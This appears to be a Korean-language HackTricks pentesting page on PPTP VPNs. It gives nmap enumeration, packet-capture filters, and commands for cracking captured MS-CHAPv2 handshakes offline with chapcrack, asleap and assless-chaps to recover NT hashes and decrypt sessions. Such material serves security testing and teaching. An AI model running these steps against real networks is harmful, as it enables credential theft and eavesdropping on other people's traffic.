1723 - Pentesting PPTP
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**Point-to-Point Tunneling Protocol (PPTP)**는 원격 접속에 사용되는 오래된 VPN 터널링 프로토콜입니다. 제어 채널에는 TCP port 1723을 사용하고, PPP 페이로드 전달에는 IP protocol 47 (GRE)을 사용합니다. 터널 내부 트래픽은 일반적으로 MPPE로 보호되며, 인증은 종종 MS-CHAPv2에 기반합니다.
공격 관점에서는 보통 흥미로운 부분이 제어 연결 자체가 아니라 PPTP/MS-CHAPv2 핸드셰이크를 캡처하면 오프라인 비밀번호나 NT-hash 복구가 가능해진다는 점입니다. 또한 호스트가 TCP/1723에서 응답하더라도 터널이 실패할 수 있는데, 이는 **GRE (protocol 47)**이 필터링되기 때문입니다.
기본 포트:1723
열거
nmap -Pn -sSV -p1723 <IP>
nmap -Pn -sO --protocol 47 <IP>
만약 tcp/1723만 확인하고 GRE를 놓치면, VPN에 도달 가능한 것처럼 잘못 판단하기 쉽습니다. 문제 해결이나 sniffing 중에는 제어 트래픽과 캡슐화된 트래픽을 모두 캡처하세요:
sudo tcpdump -ni <iface> 'tcp port 1723 or gre' -w pptp-handshake.pcap
tshark -r pptp-handshake.pcap -Y 'pptp || gre || ppp || chap'
Brute Force
공격 노트
MS-CHAPv2 핸드셰이크 캡처
PPTP의 경우 관련 자료는 GRE 내부에서 전송되는 PPP 인증 교환입니다. MS-CHAPv2에서 응답은 다음에 따라 달라집니다:
- 서버의 AuthenticatorChallenge
- 클라이언트의 Peer-Challenge
- 해당 username
- NT-Response
즉, 패킷 캡처만으로 공격을 오프라인으로 전환하기에 충분한 경우가 많습니다. 초기 연결을 스니핑할 수 있거나, 사용자에게 재연결을 요청하거나, on-path에 자신을 위치시킬 수 있다면 핸드셰이크를 캡처해 challenge/response 데이터를 추출하세요.
유용한 빠른 필터:
tshark -r pptp-handshake.pcap -Y 'chap'
tshark -r pptp-handshake.pcap -Y 'ppp and chap'
Parse 및 decrypt: chapcrack 사용
chapcrack은 여전히 PPTP capture를 처리하는 가장 깔끔한 방법 중 하나입니다:
chapcrack.py parse -i pptp-handshake.pcap
기반이 되는 비밀 자료를 복구하면 PPTP packet capture를 복호화할 수 있습니다:
chapcrack.py decrypt -i pptp-handshake.pcap -o pptp-decrypted.pcap -n <recovered_nt_hash_or_token>
이는 목표가 자격 증명 복구뿐만 아니라 session decryption 및 인증 후 트래픽 분석인 경우에 특히 유용합니다.
Crack 챌린지/응답 자료
이미 챌린지/응답 쌍을 추출한 경우, asleap를 사용해 PPTP/MS-CHAPv2 자료에 직접 사용할 수 있습니다:
asleap -C 58:16:d5:ac:4b:dc:e4:0f -R 50:ae:a3:0a:10:9e:28:f9:33:1b:44:b1:3d:9e:20:91:85:e8:2e:c3:c5:4c:00:23 -W /usr/share/wordlists/rockyou.txt
asleap은 또한 packet captures 또는 precomputed lookup tables에서 작업하는 것을 지원하지만, PPTP assessments에서 가장 일반적인 workflow는 다음과 같습니다:
- PPTP handshake를 캡처
- challenge/response를 추출
asleap,chapcrack또는 custom workflow로 offline cracking을 실행
최근 tradecraft에는 assless-chaps와 같은 NT-hash-first workflows도 포함됩니다. 이는 준비된 hash database를 사용해 MS-CHAPv2/NTLMv1 challenge-response 자료에서 NT hash를 복구합니다. 좋은 NT-hash corpus를 유지한다면, 이는 기존의 password cracking보다 더 빠를 수 있습니다:
./assless-chaps <challenge> <response> <hashes.db>
이것이 중요한 이유는 PPTP의 경우 복구된 NT hash 자체로 운영상 가치가 있기 때문입니다: 일단 획득되면 crack을 검증하고 캡처를 복호화하며 Windows 지향 재사용 검사로 피벗하는 데 사용할 수 있습니다.
프로토콜 취약점 요약
- PPTP는 별도의 GRE 데이터 채널에 의존하므로, 방화벽이 종종
tcp/1723을 노출시키면서 터널은 눈에 띄지 않게 차단할 수 있습니다. - MS-CHAPv2 security effectively collapses to recovering DES-derived material / NT-hash-equivalent secrets, 이로 인해 passive capture는 현대 VPNs보다 훨씬 더 위험해집니다.
- 비밀번호가 즉시 복구되지 않더라도 핸드셰이크는 일반적으로 저장되어 나중에 오프라인으로 공격될 수 있습니다.
References
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


